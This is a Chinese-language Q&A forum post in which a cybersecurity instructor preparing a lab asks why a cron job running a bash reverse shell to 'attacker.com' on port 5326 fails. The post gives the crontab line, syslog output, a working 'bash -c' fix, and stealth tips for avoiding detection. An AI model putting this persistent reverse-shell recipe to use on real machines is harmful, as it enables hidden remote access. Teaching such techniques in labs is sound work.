【发布时间】:2019-03-20 07:18:38
【问题描述】:
我在一所大学教授网络安全,并正在编写一个关于 Netcat 和反向 shell 的实验室。我创建了一个运行连接到我的侦听器的脚本的 cron 作业。这很好用。问题是指纹太多,脚本可以被删除。实验室的一部分是关于隐身操作(例如在输入的任何命令前放置一个空格)。
我正在尝试执行此命令。现在频率并不重要,但最终它会在启动时每 30 分钟运行一次。
/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1
从命令行运行时,该命令起作用并建立了反向 shell。我不想使用 80 端口,因为如果学生决定尝试一些愚蠢的事情,我确实希望阻止它。下一个实验室也在 iptables 上阻止这个端口。
我试过引用。我试过sudo。末尾的双 & 号。末尾有一个 & 符号。 /tcp/ 路径的进一步限定。我认为我不需要确定它是从哪个 tty 会话运行的(那会很困难)。在任何情况下 cron-run 命令都不会成功。
crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
* * * * * /bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1
这是系统日志
cat /var/log/syslog
Mar 19 07:42:01 raspberrypi CRON[12921]: (pi) CMD (/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1)
Mar 19 07:42:01 raspberrypi CRON[12917]: (CRON) info (No MTA installed, discarding output)
它似乎没有失败......它只是不工作。
所以对于许多比我聪明的人来说,我做错了什么以及如何让这个命令作为 cron 作业工作(调用脚本不是一种选择)?
更新: 解决方案是 * * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1',尽管我仍在努力解决两个错误。
【问题讨论】:
-
您是否尝试过将 strace 放入 cron 以查看它在做什么以及在哪里失败?
-
没有。让我试试。谢谢。
-
另外,您使用的是哪个 cron 守护进程?我认为问题在于它构建 argv 数组的方式。我去看看源码查一下。
-
您的系统上可能没有安装邮件服务(您使用的是 ubuntu 吗?)。 crontab 在脚本输出的情况下向 cron 的所有者发送邮件。
-
我没有安装邮件服务,我也不想要。我不希望发送任何邮件。
标签: linux bash cron netcat reverse-shell